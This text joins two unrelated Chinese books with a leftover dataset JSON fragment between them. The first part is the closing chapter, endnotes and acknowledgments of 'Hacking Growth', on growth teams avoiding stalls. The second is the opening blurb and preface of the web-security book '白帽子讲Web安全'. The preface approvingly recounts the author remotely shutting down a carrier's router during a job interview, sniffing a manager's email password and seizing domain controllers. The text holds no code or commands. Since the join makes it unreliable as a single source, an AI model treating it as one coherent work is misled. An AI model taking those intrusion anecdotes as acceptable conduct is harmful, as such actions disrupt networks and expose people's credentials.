出去的可能性比其他任何情况都要大。\n现在我们已经讲完了驱动增长的四个关键试验类型：获取、激活、留存和变现。在下一章，也就是最后一章，我们将讨论对增长团队而言，继续在这四个方面努力、避免掉入增长停滞这个常见的陷阱中是多么重要。增长停滞能够也常常意味着灾难的降临，即使是对大品牌而言也是如此。记住，增长团队决不能沉浸在过去的光环中，把“打盹儿你就输”这个谚语稍加改动就可以用在这里：在今天竞争激烈的商业环境中，不前进就是失败。\n每用户平均收入，指一个时间段内运营商从每位用户身上获取的利润。——译者注\nMonetate, “Monetate Ecommerce Quarterly for Q1 2016,” 2016, retrieved at: http://info.monetate.com/EQ1_2016.html.\n克罗尔（Croll）和尤科维奇（Yoskovitz）,《精益数据分析》, p113-119。\nColin Zima, (September 8, 2014) “Growth Hacking with Data-How to Uncover Big Growth Opportunities with Deep Data Dives,” retreived at: https://growthhackers.com/videos/growth-hacking-with-data-how-to-uncover-big-growth-opportunities-with-deep-data-dives/.\nElena Verna, (February 18, 2016) “Product Experience Usability To Improve Growth,”retrieved at: https://growthhackers.com/videos/elena-verna-vp-growth-at-surveymonkey-productexperience-usability-to-improve-growth.\nAnnabell Satterfield (Growth at Bittorrent), “Engaging Customers to Find Your Next Big Growth Opportunity,” retreived at: https://growthhackers.com/videos/gh-conference-16-annabellsatterfield-growth-at-bittorrent-engaging-customers-to-find-your-next-big-growth-opportunity.\nColin Zima, “Recommendations Are Easier Than You Think,” Looker(blog), December 22,2014, https://looker.com/blog/recommendations-are-easier-than-you-think.\nCharles Duhigg, “How Companies Learn Your Secrets,” February 16, 2012, New York Times Magazine, retreived at: http://www.nytimes.com/2012/02/19/magazine/shopping-habits. html?_r=0.\nWilliam Poundstone,Priceless: The Myth of Fair Value(and How to Take Advantage of It),(Hill and Wang, 2011), 185-92, retreived at: https://books.google.com/books?id=4Fs1TrLjWhUC&lpg=PT156&dq=poundstone%20charm%20pricing&pg=PT156#v=onepage&q=poundstone%20 charm%20pricing&f=false.\n“The Price is Right: Essential Tips for Nailing Your Pricing Strategy,” First Round Review[n.d.], retreived at: http://firstround.com/review/the-price-is-right-essential-tips-for-nailing-yourpricing-strategy/.\nPatrick Campbell, “The Value Metric: Optimize Your Pricing Strategy for High Growth,” Price Intelligently, March 12, 2014, retrieved at: http://www.priceintelligently.com/blog/bid/195287/The-Value-Metric-Optimize-Your-Pricing-Strategy-for-High-Growth.\nDana Mattioli, “On Orbitz, Mac Users Steered to Pricier Hotels,” Wall Street Journal,August 23, 2012, retreived at: http://www.wsj.com/articles/SB100014240527023044586045774888 22667325882.\nDan Airley,Predictably Irrational, Revised and Expanded Edition: The Hidden Forces That Shape Our Decisions, (Harper Perennial, 2010), retreived at: https://books.google.com/books?id=44ecn9XukOoC&lpg=PA1&dq=%22the%20economist%22%20subscription&pg=PT21#v=onep age&q=%22the%20economist%22%20subscription&f=false.\nSteve Young, “How a Made-up Product Increased Conversions by 233%,” Unbounce,August 14, 2012, retreived at: http://unbounce.com/conversion-rate-optimization/made-up-productincreased-conversions/.\nStuart Hall, “An App Store Experiment,” StuartKHall.com, June 20, 2013, retreived at:http://stuartkhall.com/posts/an-App-store-experiment.\n“Top Apps on iOS Store, United States,” App Annie, September 16, 2016, retreived at:https://www.Appannie.com/Apps/ios/top/.\nSarah Needleman, “How Mobile Games Rake In Billions”,Wall Street Journal, July 28,2106, retreived at: http://www.wsj.com/articles/how-mobile-games-rake-in-billions-1469720088.\nJoe Pinsker, “The Psychology Behind Costco’s Free Samples,” The Atlantic, October 1,2014, retreived at: http://www.theatlantic.com/business/archive/2014/10/the-psychology-behindcostcos-free-samples/380969/.\nSteve J. Martin, Noah Goldstein, Robert Cialdini,The small BIG: Small ChangesThat Spark Big Influence, TK: Grand Central Publishing, 2014, retreived at: https://books.google.com/books?id=3a5gAwAAQBAJ&lpg=PT10&dq=the%20small%20big%20 HMRC&pg=PT10#v=onepage&q=the%20small%20big%20HMRC&f=false.\nAngie Schottmuller, （March 30, 2016）“Social Proof Power Plays,” retreived at: https://inbound.org/discuss/conversionxl-live-notes-slides-and-q-a-slideshare-s-nowincluded#angieschottmuller.\n“Conversion for E-commerce: Two Winning Tests for a Multilingual Online Florist,”Conversion Rate Experts, [n.d.], retrieved at: http://www.conversion-rate-experts.com/daflorescase-study/.\nAileen Lee, “Social Proof is the New Marketing,” TechCrunch, November 27, 2011,retreived at: https://techcrunch.com/2011/11/27/social-proof-why-people-like-to-follow-the-crowd/.\nParas Chopra, “Focus Matters on a Landing Page and Here’s Why: 22% Increase in Sales,” Visual Website Optimizer, October 24, 2012, retreived at: https://vwo.com/blog/call-toaction-increase-sales/.\nJason Bosinoff, “Hacking Word-of-Mouth: Making Referrals Work for Airbnb,” Airbnb,March 27, 2014, retreived at: http://nerds.Airbnb.com/making-referrals-work-for-Airbnb/.\n第九章\n 良性循环：维持并加速增长\n正如我们在整本书里所讲，驱动增长的工作永远处在进行时。实现爆发式增长的公司是那些不断突破自我、利用现有成功、把握新机遇并且创造良性增长循环的公司。\n今年，脸谱网的增长团队将庆祝团队创立10周年。当初，它还只是一个负责扭转脸谱网疲软局面的5人团队，通过壮大队伍，实施了大量计划，驱动着脸谱网这个史上最大的社交网站看似不可阻挡的增长，这个增长团队对脸谱网在这10年里取得的非凡成就功不可没，打破了人们关于在线社区可以达到何等规模的所有先入之见。现在这家公司每天为超过10亿的用户提供服务，在全球拥有巨大的增长空间，而且还能从其庞大的用户群中无限挖掘增收机会。此外，脸谱网在用户数量和用户参与度方面势如破竹的增长为它赢得了金融投资者以及市场的强大支持。他们为脸谱网提供大量资本用于创新，支持包括像购买Oculus和进军虚拟现实领域这样看似不着边际的长期投资和“网络无处不在计划”（Internet Everywhere initiative）。这个计划试图利用太阳能无人机将无线网络送到地球上最偏远的角落。这就是良性增长循环的最好例子。\n无论你的增长团队是5人还是500人，无论你的公司市值高达数百万美元还是刚刚起步，你都可以效仿脸谱网的做法，持续并且不遗余力地使用新方法在各个方面展开试验，驱动增长。\n避免增长停滞\n对市场变化反应不够灵敏是想实现长远成功的公司面临的最大威胁。可能这是因为公司未能及早觉察产品或渠道疲乏，没有意识到出现了新的竞争，没有对产品进行必要升级，没有及时调整营销策略，或者没有使用新技术。Skype（微软旗下的一款聊天工具）就饱尝自满的苦果。一开始，无论以什么标准来看，Skype都极其成功，但被微软收购之后就不再坚持创新。结果，它的领地迅速被提供聊天服务的移动App所蚕食，比如FacebookMessenger、WhatsApp以及横扫企业界、成长迅猛的群聊公司Slack。Skype败在了哪一步？简单地说，Skype的产品和执行团队没有敏锐意识到移动通信服务的巨大魅力，也没有察觉移动手机和平板电脑会如此迅速地被运用到办公沟通中。\n像这样在战略远见和产品创新上的失误常常导致公司陷于增长停滞的困境，这是就职于领导力咨询网CEB的马修·奥尔森、德里克·范贝弗和塞思·韦里共同提出的一种表述。增长放缓常常毫无预兆地发生，而且，无论是已经站稳脚跟的大品牌还是一度增长迅猛的创业公司都有可能经历增长停滞。它极难预测，而且往往发生在强劲的增长之后。奥尔森和他的同事在《哈佛商业评论》（Harvard Business Review）中报道了他们有关增长停滞的一项重大发现。他们用经典品牌李维斯（Levi’s）举了一个例子。1995年，这家公司的销量达到历史最高，实现了70亿美元的收入。但从1996年开始公司的销量急剧下滑，到2000年公司收入仅为46亿美元，跌幅高达35%。文中提到的其他经历增长停滞的大品牌包括3M公司、苹果、芝加哥第一银行、卡特彼勒、戴姆勒、玩具反斗城和沃尔沃等。可能你会觉得，如此突如其来的倒退一定是市场中突然出现了干扰所造成的。但研究表明，通常这些停滞并不是由刚进入市场的大胆竞争者或具有破坏性的创新导致的。真正的原因是公司长时间疏于监测用户满意度，也没有积极地去发现用户不满的早期迹象。通常，用户忠诚度下降已经持续好几年，但公司却浑然不觉，等到发现的时候已经太晚。\n他们在报告里还指出，公司取得市场主导地位后自信心膨胀，这往往也会导致增长停滞。也就是说，即使公司发现了竞争威胁也没有把它当一回事儿。这种虚假的安全感会阻碍公司积极创新，令它们满足于在已有的产品上进行零敲碎打式的改进，而不是积极寻找新的市场机遇来驱动增长。即使是最警觉的产品团队也会受到发展迅猛的竞争对手的伏击，因为可能它们引入了一项新技术，或者进行一项创新。\n另一方面，如果公司没有专注自身的核心产品或服务，而将精力用在推出吸引人眼球的新产品、附加扩展功能或者进军新市场上，那么这也会带来增长停滞。人才的流失也会引发停滞，比如那些对驱动增长至关重要的明星人物投奔了竞争对手，让组织机制不再完备，或者公司因为失去他们的远见卓识和鞭策而无法继续维持强劲的增长。\n不只是产品开发团队可能在这里栽跟头，营销团队如果骄傲自满或者不创新的话也会导致增长急剧减速。增长停滞的一个常见原因是公司过度依赖一些已经不再有效的营销渠道。随着为公司源源不断带来用户的渠道日益成熟，曾经的洪流很快就会变成涓涓细流。这背后的原因可能很多，比如出现新的竞争，用户行为发生改变（这常常是由技术造成的，比如转向移动设备），或者约束渠道的游戏规则发生了变化。\nUpworthy和Buzzfeed这样的在线发布平台就饱尝规则变动之苦。这两家公司都不得不依靠脸谱网的新闻推送（News Feed）算法来为自己的网站吸引大量访客。每次脸谱网决定调整为用户挑选故事的规则时，它们都会紧张地屏住呼吸，因为哪怕是对新闻推送算法最微小的改动都有可能导致它们的读者量一落千丈，从而影响它们的广告收入。\n有些公司甚至过度依赖脸谱网的新闻推送算法，对它们而言，这样的改动甚至会威胁到它们的生存。Viddy这个视频App的市值曾一度达到3.7亿美元，但它的营销和分销都太依赖脸谱网。当脸谱网修改了它的新闻推送算法之后，这个App在脸谱网上的可见度急剧下降，导致App的用户量从每月5 000万一下跌倒不足50万，最后开发者不得不关闭了这个App。\n脸谱网并不是此类渠道变化的唯一“罪魁祸首”。许多渠道都会定期更改它们的规则，从而让那些过度依赖渠道来接触目标市场的公司遭受严重的增长停滞。谷歌是另一个很好的例子，因为它经常更改自己的搜索排名算法，这往往让那些将搜索作为主要用户获取渠道的公司关门倒闭。\n通常，由失误导致的用户流失或者市场份额丢失都是可以避免的，但是像竞争对手创新或者市场变化带来强烈干扰这样的因素可能就在公司的掌控范围之外了。具有颠覆性的技术可能突然破坏营销渠道的有效性，比如广告屏蔽技术。随着创新步伐日益加快，大数据云存储和挖掘这些数据的机器学习算法之类的强大新工具已经能够被新兴创业公司所购买和使用。所以即使是沃尔玛和微软这样实力强大的公司也必须学习如何在产品开发和营销过程中变得更加敏捷。今天，没有一家公司敢将自己的潜在用户拱手让给竞争对手。这就是为什么刚刚完成孵化的创业公司和引领市场的大公司都需要引入增长黑客。\n增长团队可以帮助公司保持警觉，不断监测用户行为变化并试验新的增长想法。增长团队既能积极应对同时也能未雨绸缪。他们能够洞察到早期预警信号，并且可以全身心地投入到获取、激活、留存和变现最大数量的用户上，甚至通过创新找到驱动增长的新机遇。\n但增长团队也只是肉眼凡胎，他们也可能变得骄傲自满，因为分心而偏离增长使命，或者受到市场力量和颠覆性技术的冲击。但是快节奏的增长黑客过程可以让增长团队以最快的速度有效地修正航线。这一章我们将介绍一些可能阻碍增长团队的常见问题，以及减少或者避免这些问题的方法。\n与鲨鱼为伍\n一些鲨鱼必须一直游动才能存活，一旦停下来它们离死亡就不远了。增长团队就像这些鲨鱼一样。那些没有持续进行创新，没有持续挖掘用户数据、开展用户调研，没有快速进行试验并且得出结论的公司日子都不会长久。首要目标过多、资源有限、企业惯性这些问题能够将那些曾经表现卓著的团队迅速拖垮。这对于实现高速增长的创业公司尤其危险。创业公司人员配备不足，仅仅为满足日益庞大的用户群的需求就手忙脚乱，或者仅仅是让公司正常运作就有做不完的工作，所以增长团队成员有可能被安排去做别的事情。而且，公司通过高强度的快节奏试验（比如发布新产品），在实现大规模获客之后稍微放慢试验节奏也是合情合理的。毕竟，在这种令人羡慕的情况下增长不是问题。但是，团队需要时刻保持警惕，决不能陷入这种自满心理。记住，增长停滞往往发生在公司最没有防备的时候。我们建立过GrowthHackers.com，所以我们非常了解偏离增长航线的后果。\n2014年底，我们的增长黑客社区刚满一岁。尽管在过去10个月我们的访客数量大幅增加，但突然之间增长似乎触到了瓶颈，接连三个月网站的访问量始终原地踏步，这让我们十分沮丧，我们不知道哪里出了问题。是因为增长黑客们对我们的在线社区失去了兴趣？我们没有满足他们的需求，导致他们离开平台在其他地方重新聚集？肖恩凭着直觉决定调查增长停滞的这三个月我们进行试验的次数，结果令他震惊：整个季度我们开展的测试不到10次。最大的讽刺是，我们还一直盲目地相信增长是板上钉钉的事。我们早期的冲劲已经被常规的行政事务所取代，而宝贵的增长试验则让位于繁重的日常工作。肖恩迅速集结了队伍。\n我们一致同意，从今往后我们要身体力行地践行我们的理念。我们每周至少要进行三次试验（一周三次听起来好像不多，对一些团队而言也确实不多，但对我们这支小团队来说却是非常快的节奏），我们还规定增长工作永远优先于行政事务。我们发誓要将时间和资源用在增长团队认为最重要的计划上，其他一切都是次要的。定下目标后，我们重新激活了想法提出过程，很快将点子库中的点子数量从50个增加到100个，最后超过了200个。整个团队立刻焕发出新的活力，到了第二周，试验开始获得成功，我们的努力也看到了回报。我们每周都重复这个循环过程，增长幅度随之提高。通过试验我们找到了能够更好激活网站访客的方法，将更多人从一次性的网站访客转化为持续参与社区活动的忠诚用户。我们通过再次参与循环（reengagement loop）、推送以及努力让更多用户更快更频繁地体验到服务的“啊哈时刻”等方法来改善留存。结果，我们在接下来的三个月中实现的增长相当于过去一整年的增长（见图9–1）。\n图9–1 增长黑客每月访客\n结果令人吃惊：我们摆脱了停滞，并且进入了一个快速的增长轨道——最巅峰的时期我们在两周内就增加了2万名用户，而那个季度网站访问量增加了76个百分点，几乎是一开始时的两倍。其间我们并没有在付费流量或广告上做额外投资，所实现的增长完全是由于我们以尽可能快的速度完成了一轮又一轮的增长黑客过程，并在这个过程中找到成功做法，然后专注于那些胜出的测试来进一步驱动增长。\n完成最初的高强度试验之后，我们的测试节奏变得相对平稳，虽然不像之前那样激烈但也保持较快的速度，只有在推出新软件或者新的营销测试这样的新计划时才恢复之前的高强度试验。这种节奏上的变化是意料之中的事，但是关键是要密切监测各种增长量度，并且经常问自己如果团队节奏慢了下来是否有一个正当的理由，如果没有的话那是否是因为团队中出现了自满的情绪。如果是后者，团队就需要立刻加快试验节奏。\n不要低估决心的力量\n增长团队开始滋生自满情绪还有一个原因，可能他们觉得增长杠杆的潜力已经被挖掘殆尽，无法再带来新的增长。但是，在开始实施新计划之前，团队应该强迫自己再去寻找新的方法，以最大限度地利用已经成功了的渠道和策略。团队如果不拿出决心创造更大的成功就会浪费很多增长潜力。\n布莱恩·鲍尔弗和安德鲁·陈认为这跟玩海战棋使用的战术相同。玩这个游戏的时候你无法看到对手的棋盘，只能猜测对方战舰的位置，然后射击。第一次射击后，你必须在相同区域连续多次攻击，就像热跟踪导弹一样死死盯住那艘船，直到把它击沉为止。增长团队需要像玩海战棋一样对他们的目标穷追不舍，直到最大限度地实现每种增长渠道带来的成功。\n比如在GrowthHackers，我们在发展早期推出了邮件简报服务，向用户推荐每周精选的增长黑客博文，这成功提高了我们的读者量。数据分析结果十分明确，因为每周都有源源不断的用户访问网站并阅读这些文章。但是我们并没有就此宣告胜利而停止努力。我们集中精力积极寻找可以让它成为更强大的增长杠杆的方法。比如，我们试验将简报的注册表从着陆页的底部移到顶部。前面我们提到过注册量因此增加了700%，极大增加了登记邮箱地址的用户人数，并且每周都为我们带来盈利。接着我们又问自己，如何再进一步挖掘已经优化的新闻报，真正最大化地利用我们的邮件营销机会。于是我们重新设计了GrowthHacker.com用户账号的创建过程，在其中增加让用户选择接收邮件简报这个步骤，这又将我们的邮件注册量提高了22%。但我们还不满足。我们知道沿着这个方向继续试验还可以带来更大的成功，所以决不能轻易放弃。我们感觉邮件注册表不够吸引人，并且假设，如果告知用户新闻简报有多受欢迎的话可能还会进一步提高注册量（这就是前一章讲到的社会认同原则的最好例子）。于是我们设计一个新的注册条，并且在上面更醒目地显示鼓励用户注册的行为召唤：“加入超过6万名来自推特、脸谱网、谷歌和优步的增长专家的行列吧！他们每周都能读到我们最好的文章。”这个试验进一步将注册量提高了44%。\n简而言之，一旦增长团队发现有效的增长手段，就应该最大限度地挖掘它的增长潜力，而不是急着进入下一个战场。下决心取得更大成功可以让你一次又一次地赢得增长。\n深挖数据金矿\n增长团队还有可能（错误地）认为，他们已经充分挖掘了整个数据池的潜力，所以增长杠杆已经不能继续带来增长。如果是这种情况，团队就必须考虑投入时间和金钱创建一个更加全面的数据库来提升团队的分析能力，正如我们在前面所建议的那样。可能你还记得，脸谱网的增长团队在开启增长黑客过程大约一年后停止了所有的试验，在2009年1月用了整整一个月的时间改善他们的分析监测，这使得团队能够进行更加精细、更加强大的数据分析。他们之所以这样做是因为团队的增长想法越来越少。通过在深度分析上做投资，团队能够更好地监测和衡量脸谱网用户如何在网站上从一个网页跳到另一个网页。这些新数据帮助团队找到大量新的潜在试验，从而刺激增长，促进公司的发展更上一层楼。\n要判断哪些数据值得深挖，增长团队首先应该回顾顾客和用户在到达产品的“啊哈时刻”之前需要完成的主要任务和途径。对于每一个关键任务和体验，增长团队需要找出数据缺失的地方或者数据相对稀薄或者粗糙的地方，然后加固数据。比如，一家时装品牌的增长团队应该问自己，他们能否找出访客将一件衣服加入购物车之前浏览了多少张这件衣服的图片。或者，他们能否计算出用户在输入自己的配送信息时填写每一栏所花的时间。团队通过强化数据系统找到了这些问题的答案。可能他们发现，那些浏览4张衣服图片的顾客将衣服放入购物车的概率是50%，而只看了两张图或者更少的顾客这一概率只有20%。这个更加细致的观察应该引导团队进行新的增长试验，例如为每件商品配更多图片，或者让顾客能够更加轻松地浏览大量商品图片。\n除了填补产品使用和用户行为方面的数据缺口外，团队还应该问自己是否具备必要的分析能力来最大限度地利用所掌握的数据。如果增长团队一直都没有一位全职的数据分析师或者数据科学家，那么公司应该考虑聘请或者调配一位这方面的专家全职加入团队。\n发掘新渠道\n在第五章中我们讨论过，增长过程前期团队最好专注于一两种获客渠道。但是随着时间的推移，团队应该试验增加新渠道。这不仅是实现更大规模增长的途径，同时还能避免现有渠道突然改变游戏规则所导致的增长停滞，就像前面提到的脸谱网或者谷歌那样。如果团队发现在现有渠道内很难再想出新的增长策略，这就是一个信号，说明应该开始试验新渠道了。比如对于一家完全依赖付费渠道的公司，增长团队就应该试验开发搜索引擎优化、内容营销或者社交网站营销等这些有机渠道来补充他们的付费渠道。\n忽视或者无视有机增长渠道是增长团队常犯的另一个错误。付费营销实施起来更容易，有时这会削弱团队寻求更有创意的解决方案的决心。此外，有机增长渠道通常要经过更长的等待才能看到成效，因而团队更青睐见效快的付费渠道。但是，有机渠道能够成为至关重要的长期增长引擎。比如，搜索引擎优化就是猫途鹰（TripAdvisor）、Yelp、Zillow这些公司主要的增长动力。这些公司并不是一开始就像现在这样拥有巨大的搜索优势。它们的团队经过大量试验后才取得了现在的成功。\n引入全新视角\n对于陷入停滞或者缺少想法的增长团队来说，最好的解决办法莫过于引入全新视角。邀请其他部门的同事、其他团队或者个人一起出谋划策能够碰撞出大量有创意的新点子。你可能还记得，在GrowthHackers，我们先向整个公司开放了新点子提出过程，然后又对我们的董事会、我们信任的顾问以及社区成员开放了这个过程。实际上，我们的好几个十分成功的试验想法都来自我们的一位外聘顾问。比如通过提高我们在谷歌关键词搜索结果中的排名来改变我们的网站就是这位外聘顾问提出来的。\n团队可以通过许多途径实现交叉生成想法。微软的主要增长黑客负责人安库尔·帕特尔定期将微软不同团队的产品经理、工程师和设计师叫到一起分享新点子和新发现，这样做极大激发了他的团队不断提出新的测试想法。摩根就职的“科技”初创孵化园会将初创企业的成功试验分享给其他创业公司，供它们学习和参考。\n敢于给想象插上翅膀\n想要追逐更大增长的公司面临的最大挑战是如何摆脱目前成功的做法带来的思维禁锢——“只要没坏就不用修理”的思维模式。增长团队能够极大地帮助公司打破思维禁锢，突破这种思维定式，寻找更好的做法。\n第一步，最好是测试已经获得成功的产品、功能或者营销策略的关键设计，看看能否对它们进行实质的改进。团队一开始可以从小处着手，先试验重新设计那些似乎已经最优化的功能或界面，看看能否让它变得更有效。你可以把它当作超越局部最大值（local maximum）原则。局部最大值被定义为某个区域中的最高点，但又不是全局最高点。例如，在一年的时间里试验同一个定价页面能够让你找到那个定价页面效果的局部最高点。但是要实现更大的成效，团队应该试验完全不同的定价页面风格。超越局部最高点对于持续推动新增长十分关键。\n第二步，增长团队应该定期进行更大胆的创新试验，而不只是局限在优化方面。这些不着边际的做法是公司最好的护身符，可以帮助它们避免常常导致增长停滞的渐进式创新。当然，这些大的改动通常需要更长的准备时间。最好的做法是在两次渐进式的优化之间引入一次大动作。Pinterest的Copytune机器学习优化软件就超越了简单的A/B测试，从而捕获数以百万计的新用户。同样，优步决定大胆测试推出固定单次乘车价格的服务，而不是像原来那样按照乘车需求来调价（本书写就时这一版本的测试仍只限于旧金山地区），就是一个超越其他增长试验的值得称赞的做法。定期进行这样大胆的试验十分必要。如果这些大的改动与持续的优化努力保持步调一致的话，将会带来飞跃式的增长。\n我们相信增长黑客法远不只是一种商业战略，甚至也不是一个持续过程。它是一种哲学、一种思维方式，而且它能被任何规模的任何公司和团队所采用。希望这本书能够给你带来启发，让增长黑客法成为你实现增长的利器。\n我们祝愿您在一往无前的增长路途中不断获得成功。\nFacebook, September 16, 2016, retrieved at: newsroom.fb.com/company-info.\nMatthew S. Olson, Derek van Bever, and Seth Verry,《当增长停滞时》，《哈佛商业评论》，2008年3月。\nJon Russell, “Viddy, Once Touted as ‘The Instagram for Video,’ Will Shut Down on December 15,” TechCrunch, November 4, 2014, retrieved at: techcrunch.com/2014/11/04/viddyonce-touted-as-the-instagram-for-video-will-shut-down-on-december-15/.\n致谢\n《增长黑客》这本书是根据我们整个职业生涯所学的知识写成的，因此我想感谢那些给予我学习机会的人。首先，我要感谢我的家人，他们理解我在创业阶段不分白昼地忙于测试。我也要感谢公司创始人和CEO给我信任，让我在他们的创业公司和宝贵的早期客户身上进行试验。我特别要感谢LogMeIn和Uproar的迈克·西蒙（Mike Simon），他冒险启用我并且在我事业刚起步时给予我许多指导。还有Xobni的大卫·魏登（David Weiden）、亚当·斯密（Adam Smith）和玛特·布雷齐纳、Dropbox的德鲁·休斯顿（Drew Houston）、Eventbrite的凯文·哈茨（Kevin Hartz）以及Lookout的约翰·赫林（John Hering），他们在自己的创业公司最脆弱的阶段接受我非常规的想法，让我担任他们过渡时期的执行增长负责人。还有Polaris Partners的大卫·巴雷特（David Barrett）和True Ventures的托尼·康拉德（Tony Conrad），感谢这两位风投家在我创立GrowthHackers.com时给予我支持。\n最后，我要感谢让这本书付梓成册的卓越团队。首先，我要感谢我的搭档摩根·布朗，他的专注和努力让这本书从一开始就保持正确的航向。还有我们的充满才华、给予我们莫大支持的团队，包括丽萨·迪蒙娜（Lisa Dimona）、艾米丽·卢斯（EmilyLoose）和塔利亚·克龙（Talia Krohn），他们帮助我们将《增长黑客》提升到一个新的高度。\n肖恩·埃利斯\n这样一段旅程结束时值得我们感激的人实在太多。这本书写了差不多三年，书中总结了到目前为止我在自己的职业生涯中学到的所有知识和经验。首先，我要感谢我的家人：我的妻子埃丽卡（Erika）、孩子班克斯（Banks）和奥德丽·格蕾丝（AudreyGrace）。他们为了服务于我的写作放弃了无数个夜晚、晚餐和周末活动。一想到为了完成《增长黑客》而牺牲掉的与他们共处的时间我就惊恐万分。希望这些时间没有白费，而且他们知道，这本书是我带着对他们的爱为他们写的。我很感激家人给我空间让我做完这件事。谢谢你，埃丽卡，自始至终你都那么无私、善良、善解人意。你是最好的伴侣，如果没有你的爱和支持我不可能做到这些，我爱你。\n其次，我要感谢我的搭档肖恩。感谢他的信任，让我加入这个项目并与我分享他的智慧和学识。与他共事给我的事业带来了难以估量的影响，我会永远感激有这个机会与他并肩作战并向他学习。\n写书不是一蹴而成，而是反复修改，删除了又重写。这本书不是两个人，而是许多人共同努力的结果，其中的所有人都值得我感激。首先是我们的经纪人丽萨，她从我们糟糕的提议中看到一个伟大的点子，并且花时间帮助我们理清思路，让它生根发芽。若不是因为她独具慧眼看到这个想法的价值，我们不可能完成这本书。我还要感谢艾米丽，我们的开发编辑和伙伴。她将我们粗糙的措辞、混乱的逻辑和只有内行才读得懂的术语改为简单易懂的文字。还有塔利亚和蒂娜（Tina）以及皇冠商业（CrownBusiness）的整个团队。他们对这本书充满信心，并且帮助我们将它完成。感谢你们对我们的信任、对这本书的信心以及你们的远见和团队协作，没有你们我们不可能完成这本书。\n《增长黑客》其实是我们写给增长社区的一封情书。在书里我想要说出你们给增长过程注入的技巧和活力，以及你们通过辛勤努力所创造的真正价值。我希望我表达清楚了这一点。我们创作《增长黑客》的初衷是让人们知道你们为世界各地的企业创造的巨大价值以及你们为了使具有潜力和价值的新想法获得应有的关注而付出的努力。写这本书还为了展示你们的智慧与思考、创新和激情，并且将它们与那些迫切想听到你们声音的观众分享。感谢我们社区中的每一个成员，感谢你们启发、传播、分享和支持增长在企业成功中发挥的关键作用。每一天你们都给我新的启发，能够和你们成为同事、同伴和朋友是我的荣幸。我还要感激书中提到的所有人，你们是我们这个领域中名气响亮、勤奋敬业并且令人仰慕的领袖。\n我曾经在数字营销领域工作了17年，大学毕业后我在SalesMountain.com获得了第一份工作，之后有幸进入其他创业公司和企业工作。这本书是我经验的总结。每次选择新公司时我的座右铭一直都是“优化团队胜过其他一切”。秉持这个理念，我有幸为许多杰出人士工作，与他们共事。一个人的职业生涯中会遇到许多让你感激的人，我也不例外。我站在巨人的肩膀上，很感激他们给予我宝贵的时间，教会我他们的智慧和经验。我想深深感激的人包括：杰克·阿博特（Jack Abbott），感谢你教会我“快”的艺术和“无中生有”的艺术，也谢谢你一直鞭策我不断创造价值；马克·阿弗莱克（Mark Affleck），谢谢你让我学会自信，利用自己的长处进行领导，这让我每天都在成长；劳拉·戈德堡（Laura Goldberg），你超一流的标准和对数据驱动的坚持对我的实践和领导方式产生了深刻的影响；还有布拉德·英曼（Brad Inman），你教会我没有比一觉醒来冲向下一个机会更可能取得成功。\n最后，我要真诚地对我的家人说一声“谢谢”。如果没有他们就不会有我，更不会有这本书。谢谢你妈妈，你总是给我不变的支持，即使有时我并不值得你这样对我。你对我无穷的爱是上天给我的真正的礼物。谢谢你爸爸，你总是鞭策我对自己的期望再高一点，尽全力做到最好。感谢你给我树立了高标准。我还要感谢我的哥哥格雷姆（Graeme），我最好的朋友，谢谢你给我的一生的友情和回忆。我爱你们。\n摩根·布朗\n版权信息\n书名:增长黑客\n作者:[美]肖恩·埃利斯,[美]摩根·布朗\n译者:张溪梦\nISBN:9787508678535\n中信出版集团制作发行\n版权所有·侵权必究\n肖恩·埃利斯\n献给我深爱的妻子斯维特拉娜和我们聪慧的女儿娜塔莎、安娜\n摩根·布朗\n献给埃丽卡、班克斯和奥德丽·格蕾丝"},"category":{"kind":"string","value":"epub_books"}}},{"rowIdx":23,"cells":{"text":{"kind":"string","value":"白帽子讲Web安全 作者：吴翰清字数：43.9万字大小：20.00MB书号：978-7-1211-6072-1出版：2014-06-01更新：2015-01-03Web安全第一书，国内唯一多语全球发行安全著作，最佳原创技术书大奖得主，道哥力作！ 互联网时代的数据安全与个人隐私受到前所未有的挑战，各种新奇的攻击技术层出不穷。如何才能更好地保护我们的数据？本书将带你走进Web安全的世界，让你了解Web安全的方方面面。\n 本书根据安全宝副总裁吴翰清，在顶级互联网公司若干年的实际工作经验而写成，在解决方案上具有极强的可操作性；深入分析诸多错误的方法及误区，对安全工作者有很好的参考价值；对安全开发流程与运营的介绍，同样具有深刻的行业指导意义。《纪念版》与前版内容相同，仅为纪念原作以多种语言在全球发行的特殊版本，请读者按需选用。\n前言在2010年年中的时候，博文视点的张春雨先生找到我，希望我可以写一本关于云计算安全的书。当时云计算的概念正如日中天，但市面上关于云计算安全应该怎么做却缺乏足够的资料。我由于工作的关系接触这方面比较多，但考虑到云计算的未来尚未清晰，以及其他的种种原因，婉拒了张春雨先生的要求，转而决定写一本关于Web安全的书。我的安全之路我对安全的兴趣起源于中学时期。当时在盗版市场买到了一本没有书号的黑客手册，其中coolfire的黑客教程令我印象深刻。此后在有限的能接触到互联网的机会里，我总会想方设法地寻找一些黑客教程，并以实践其中记载的方法为乐。在2000年的时候，我进入了西安交通大学学习。在大学期间，最大的收获，是学校的计算机实验室平时会对学生开放。当时上网的资费仍然较贵，父母给我的生活费里，除了留下必要的生活所需费用之外，几乎全部投入在这里。也是在学校的计算机实验室里，让我迅速在这个领域中成长起来。大学期间，在父母的资助下，我拥有了自己的第一台个人电脑，这加快了我成长的步伐。与此同时，我和一些互联网上志同道合的朋友，一起建立了一个技术型的安全组织，名字来源于我当时最喜爱的一部动漫：“幻影旅团”（ph4nt0m.org）。历经十余载，“幻影”由于种种原因未能得以延续，但它却曾以论坛的形式培养出了当今安全行业中非常多的顶尖人才。这也是我在这短短二十余载人生中的最大成就与自豪。得益于互联网的开放性，以及我亲手缔造的良好技术交流氛围，我几乎见证了全部互联网安全技术的发展过程。在前5年，我投入了大量精力研究渗透测试技术、缓冲区溢出技术、网络攻击技术等；而在后5年，出于工作需要，我把主要精力放在了对Web安全的研究上。加入阿里巴巴发生这种专业方向的转变，是因为在2005年，我在一位挚友的推荐下，加入了阿里巴巴。加入的过程颇具传奇色彩，在面试的过程中主管要求我展示自己的能力，于是我远程关闭了阿里巴巴内网上游运营商的一台路由设备，导致阿里巴巴内部网络中断。事后主管立即要求与运营商重新签订可用性协议。大学时期的兴趣爱好，居然可以变成一份正经的职业（当时很多大学都尚未开设网络安全的课程与专业），这使得我的父母很震惊，同时也更坚定了我自己以此作为事业的想法。在阿里巴巴我很快就崭露头角，曾经在内网中通过网络嗅探捕获到了开发总监的邮箱密码；也曾经在压力测试中一瞬间瘫痪了公司的网络；还有好几次，成功获取到了域控服务器的权限，从而可以以管理员的身份进入任何一位员工的电脑。但这些工